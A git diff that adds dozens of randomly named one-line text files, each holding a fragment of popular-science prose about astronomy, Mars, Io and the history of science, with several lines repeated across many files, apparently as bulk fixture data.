+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/mzqpqgbjmmdjvgnuekqoymbi.txt
@@ -0,0 +1 @@
+spacecraft will have human crews. In the Milky Way Galaxy there must be many planets
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/nietgfyesfvngbzkcbjtnlv.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/nietgfyesfvngbzkcbjtnlv.txt
new file mode 100644
index 0000000..64aa3cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/nietgfyesfvngbzkcbjtnlv.txt
@@ -0,0 +1 @@
+- The Koran, Sura 40
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/pbuonuls.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/pbuonuls.txt
new file mode 100644
index 0000000..c4e841a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/pbuonuls.txt
@@ -0,0 +1 @@
+library annex, once a temple and later reconsecrated to knowledge. A few moldering
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/uvemgayqopjyjwp.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/uvemgayqopjyjwp.txt
new file mode 100644
index 0000000..b72a08d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/uvemgayqopjyjwp.txt
@@ -0,0 +1 @@
+By three billion years ago, a number of one-celled plants had joined together,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/xvtcmsstypdlgufspezc.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/xvtcmsstypdlgufspezc.txt
new file mode 100644
index 0000000..a91d039
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/xvtcmsstypdlgufspezc.txt
@@ -0,0 +1 @@
+fortifications, he ordered a great tunnel built. A kilometer long, it pierces a mountain. Two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_mwvgvimhdc/zkscwbzqnzzfchedtk.txt b/big_zip/big-zip-files/folder_mwvgvimhdc/zkscwbzqnzzfchedtk.txt
new file mode 100644
index 0000000..7f87be2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_mwvgvimhdc/zkscwbzqnzzfchedtk.txt
@@ -0,0 +1 @@
+done for people who are a hundred feet high.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/dfdkiqmvjhvfvclout.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/dfdkiqmvjhvfvclout.txt
new file mode 100644
index 0000000..0f0d0fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/dfdkiqmvjhvfvclout.txt
@@ -0,0 +1 @@
+The great scientists from Thales to Democritus and Anaxagoras have usually been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/djgthiknslazbvpxyeuou.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/djgthiknslazbvpxyeuou.txt
new file mode 100644
index 0000000..1944987
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/djgthiknslazbvpxyeuou.txt
@@ -0,0 +1 @@
+Every evening before Voyager 1’s encounter with Jupiter, I could see that giant
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/dxkpkfbmcvwzkjtgfxhrtpa.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/dxkpkfbmcvwzkjtgfxhrtpa.txt
new file mode 100644
index 0000000..d5b2f4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/dxkpkfbmcvwzkjtgfxhrtpa.txt
@@ -0,0 +1 @@
+black-bodied dew-lover) - tiny benign beings with two wings and big eyes. We kept them
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/dxvzvhlcurbsxwxripr.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/dxvzvhlcurbsxwxripr.txt
new file mode 100644
index 0000000..8f72997
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/dxvzvhlcurbsxwxripr.txt
@@ -0,0 +1 @@
+hereditary instructions - we find these molecules to be essentially identical in all the plants
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_deiuxgqujyhopr.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_deiuxgqujyhopr.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_deiuxgqujyhopr.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_ghsldadeahica.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_ghsldadeahica.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_ghsldadeahica.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_hpzbwpduuw.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_hpzbwpduuw.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_hpzbwpduuw.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_ijosgllosbvrryunimjhexl.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_ijosgllosbvrryunimjhexl.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_ijosgllosbvrryunimjhexl.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_jnezgtje.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_jnezgtje.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_jnezgtje.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_lmykinmzvvjxqu.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_lmykinmzvvjxqu.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_lmykinmzvvjxqu.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_mddjekvygirzadozrfosuvd.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_mddjekvygirzadozrfosuvd.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_mddjekvygirzadozrfosuvd.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_nsirfpkdihpjhwmpocoiq.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_nsirfpkdihpjhwmpocoiq.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_nsirfpkdihpjhwmpocoiq.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_nvejdnhgka.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_nvejdnhgka.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_nvejdnhgka.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_rqrfebzoipjqz.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_rqrfebzoipjqz.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_rqrfebzoipjqz.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_tzhjtnmaa.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_tzhjtnmaa.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_tzhjtnmaa.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_uqoqbscajkwgkejx.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_uqoqbscajkwgkejx.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_uqoqbscajkwgkejx.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_usgpnvadu.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_usgpnvadu.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_usgpnvadu.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_xjkmpzmfdtrsvm.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_xjkmpzmfdtrsvm.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_xjkmpzmfdtrsvm.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_xmzlmkpxjhtkxh.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_xmzlmkpxjhtkxh.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_xmzlmkpxjhtkxh.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/file_yxdycjccpbkltxzcxvywt.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/file_yxdycjccpbkltxzcxvywt.txt
new file mode 100644
index 0000000..2d85b22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/file_yxdycjccpbkltxzcxvywt.txt
@@ -0,0 +1 @@
+gravity. It could not be running water; Io’s surface is far too cold. There were a few places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/fwvvtwpvf.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/fwvvtwpvf.txt
new file mode 100644
index 0000000..e4643a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/fwvvtwpvf.txt
@@ -0,0 +1 @@
+naturalist aboard the ship HMS Beagle, the event that led to The Origin of Species.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/gtwshhuhlodzlieipofvg.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/gtwshhuhlodzlieipofvg.txt
new file mode 100644
index 0000000..49e0366
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/gtwshhuhlodzlieipofvg.txt
@@ -0,0 +1 @@
+‘We are nothing compared to them: The Spaniards began to be called ‘the Gods come from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/pmejtwhawzzgr.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/pmejtwhawzzgr.txt
new file mode 100644
index 0000000..e1f609e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/pmejtwhawzzgr.txt
@@ -0,0 +1 @@
+on the same scale as their orbits, because the planets would then be almost too small to see.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/pxernfgawi.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/pxernfgawi.txt
new file mode 100644
index 0000000..0890fd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/pxernfgawi.txt
@@ -0,0 +1 @@
+chalice. The proposal was rejected with the kindly advice that he first construct a less
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/qgqxsyhhbamazetirmw.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/qgqxsyhhbamazetirmw.txt
new file mode 100644
index 0000000..cbc48d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/qgqxsyhhbamazetirmw.txt
@@ -0,0 +1 @@
+admirably skeptical on the habitability of Mars. Wallace showed that Lowell had erred in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/qpgxmriprh.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/qpgxmriprh.txt
new file mode 100644
index 0000000..e35429a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/qpgxmriprh.txt
@@ -0,0 +1 @@
+the consequences of changes in most of the other nucleotides.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/rqoshdozkbgfxufer.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/rqoshdozkbgfxufer.txt
new file mode 100644
index 0000000..b289f3e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/rqoshdozkbgfxufer.txt
@@ -0,0 +1 @@
+thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/tukdycyvpxstyxpmbnyxa.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/tukdycyvpxstyxpmbnyxa.txt
new file mode 100644
index 0000000..c2b4a66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/tukdycyvpxstyxpmbnyxa.txt
@@ -0,0 +1 @@
+but profound consequences late. Happenstance may play a powerful role in biology, as it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/vphfzlizanexmyobrhf.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/vphfzlizanexmyobrhf.txt
new file mode 100644
index 0000000..e124288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/vphfzlizanexmyobrhf.txt
@@ -0,0 +1 @@
+Why did people all over the world make such an effort to learn astronomy? We
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/vsrygtqhmlmeiyphehmbwyxd.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/vsrygtqhmlmeiyphehmbwyxd.txt
new file mode 100644
index 0000000..5c557ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/vsrygtqhmlmeiyphehmbwyxd.txt
@@ -0,0 +1 @@
+arc. Now, there are 60 minutes of arc in an angular degree, and 90 degrees, a right angle,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/wczvjexyisbo.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/wczvjexyisbo.txt
new file mode 100644
index 0000000..8f49b14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/wczvjexyisbo.txt
@@ -0,0 +1 @@
+me no small number of professors [many of them ecclesiastics] - as if I had placed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/wkjzofumgereepbyd.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/wkjzofumgereepbyd.txt
new file mode 100644
index 0000000..fce0ea1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/wkjzofumgereepbyd.txt
@@ -0,0 +1 @@
+disbelieved in the existence of atoms. He thought humans were more intelligent than other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/xwoyzsnra.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/xwoyzsnra.txt
new file mode 100644
index 0000000..6fb6b27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/xwoyzsnra.txt
@@ -0,0 +1 @@
+merchandise and ideas. It is probably here that the word cosmopolitan realized its true
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_njbcrjkdoi/yawzfowemchgybgx.txt b/big_zip/big-zip-files/folder_njbcrjkdoi/yawzfowemchgybgx.txt
new file mode 100644
index 0000000..5960b15
--- /dev/null
+++ b/big_zip/big-zip-files/folder_njbcrjkdoi/yawzfowemchgybgx.txt
@@ -0,0 +1 @@
+significant chance of small quantities of liquid water there, at least at some time during the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/awsreeecafzg.txt b/big_zip/big-zip-files/folder_nkaoakqizc/awsreeecafzg.txt
new file mode 100644
index 0000000..9e64507
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/awsreeecafzg.txt
@@ -0,0 +1 @@
+not fall up to them, if you see what I mean. But hunterfolk say, ‘Down is down and up is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/brfzntfrrc.txt b/big_zip/big-zip-files/folder_nkaoakqizc/brfzntfrrc.txt
new file mode 100644
index 0000000..3cdfde6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/brfzntfrrc.txt
@@ -0,0 +1 @@
+after, in 1604, described by Johannes Kepler.* Unhappily, no supernova explosions have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/dtbsduwcqnhzyocjmzpuxt.txt b/big_zip/big-zip-files/folder_nkaoakqizc/dtbsduwcqnhzyocjmzpuxt.txt
new file mode 100644
index 0000000..bccfe64
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/dtbsduwcqnhzyocjmzpuxt.txt
@@ -0,0 +1 @@
+the heavens] while it was yet winter that there would be a great harvest of olives in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/efgcdlribsgpbsugleanhfin.txt b/big_zip/big-zip-files/folder_nkaoakqizc/efgcdlribsgpbsugleanhfin.txt
new file mode 100644
index 0000000..28a486b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/efgcdlribsgpbsugleanhfin.txt
@@ -0,0 +1 @@
+whale are enunciated as a tonal language, the total information content, the number of bits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/efyuxqzxbcwfamlu.txt b/big_zip/big-zip-files/folder_nkaoakqizc/efyuxqzxbcwfamlu.txt
new file mode 100644
index 0000000..4dd200e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/efyuxqzxbcwfamlu.txt
@@ -0,0 +1 @@
+than any other nation, by the people. The openness of the society and its encouragement of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/egvdfjvjmr.txt b/big_zip/big-zip-files/folder_nkaoakqizc/egvdfjvjmr.txt
new file mode 100644
index 0000000..e0a463f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/egvdfjvjmr.txt
@@ -0,0 +1 @@
+Trap. It would carry a little vial of nutrient organic matter to Mars, arrange for a sample of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_cehzbfrzusnptm.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_cehzbfrzusnptm.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_cehzbfrzusnptm.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_fblsspyiqhhpyxqlxelsrbgx.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_fblsspyiqhhpyxqlxelsrbgx.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_fblsspyiqhhpyxqlxelsrbgx.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_ibxequzmuiompy.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_ibxequzmuiompy.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_ibxequzmuiompy.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_ijkbfdwkzrteesvxqkb.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_ijkbfdwkzrteesvxqkb.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_ijkbfdwkzrteesvxqkb.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_kxquuxbmm.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_kxquuxbmm.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_kxquuxbmm.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_lceufolrjnuymu.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_lceufolrjnuymu.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_lceufolrjnuymu.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_lprrukszggsnchvngglaoxop.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_lprrukszggsnchvngglaoxop.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_lprrukszggsnchvngglaoxop.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_mmmsjttncdugxypr.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_mmmsjttncdugxypr.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_mmmsjttncdugxypr.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_mmpsvvmixedxdapmzbgbjcs.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_mmpsvvmixedxdapmzbgbjcs.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_mmpsvvmixedxdapmzbgbjcs.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_oxdubgwtrbve.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_oxdubgwtrbve.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_oxdubgwtrbve.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_rfkssheecgbguqtmshmeg.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_rfkssheecgbguqtmshmeg.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_rfkssheecgbguqtmshmeg.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_rsjtjjtwxhkadzv.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_rsjtjjtwxhkadzv.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_rsjtjjtwxhkadzv.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_seaffkoexcerbrtnlfubbzob.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_seaffkoexcerbrtnlfubbzob.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_seaffkoexcerbrtnlfubbzob.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_spzuelszimq.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_spzuelszimq.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_spzuelszimq.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_xqadknyuvctwmgtl.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_xqadknyuvctwmgtl.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_xqadknyuvctwmgtl.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_xxgezpsqmentsibm.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_xxgezpsqmentsibm.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_xxgezpsqmentsibm.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_zhgkblwlhdcivmnbpbtbf.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_zhgkblwlhdcivmnbpbtbf.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_zhgkblwlhdcivmnbpbtbf.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_zscsqsydsgitdg.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_zscsqsydsgitdg.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_zscsqsydsgitdg.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/file_zzvrhdqfrdgsmv.txt b/big_zip/big-zip-files/folder_nkaoakqizc/file_zzvrhdqfrdgsmv.txt
new file mode 100644
index 0000000..638dca9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/file_zzvrhdqfrdgsmv.txt
@@ -0,0 +1 @@
+materialists, not in prizing possessions but in holding that matter alone provided the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/hdvouhdniplsker.txt b/big_zip/big-zip-files/folder_nkaoakqizc/hdvouhdniplsker.txt
new file mode 100644
index 0000000..505dcd5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/hdvouhdniplsker.txt
@@ -0,0 +1 @@
+need not be constant in time. Most of Europe was once covered with ice. A few million
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/hshnzvxjtrk.txt b/big_zip/big-zip-files/folder_nkaoakqizc/hshnzvxjtrk.txt
new file mode 100644
index 0000000..ea3f045
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/hshnzvxjtrk.txt
@@ -0,0 +1 @@
+second - faster than half the speed of sound on Mars - arose in that storm. Both our Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/mqqstujalmeww.txt b/big_zip/big-zip-files/folder_nkaoakqizc/mqqstujalmeww.txt
new file mode 100644
index 0000000..03780f7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/mqqstujalmeww.txt
@@ -0,0 +1 @@
+and take what they perceive to be the verdict of their chosen master as settling the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/noptlihn.txt b/big_zip/big-zip-files/folder_nkaoakqizc/noptlihn.txt
new file mode 100644
index 0000000..7b8ae04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/noptlihn.txt
@@ -0,0 +1 @@
+solid-state life, where there are electrical signals propagating rather than molecules floating
\ No newline at end of file
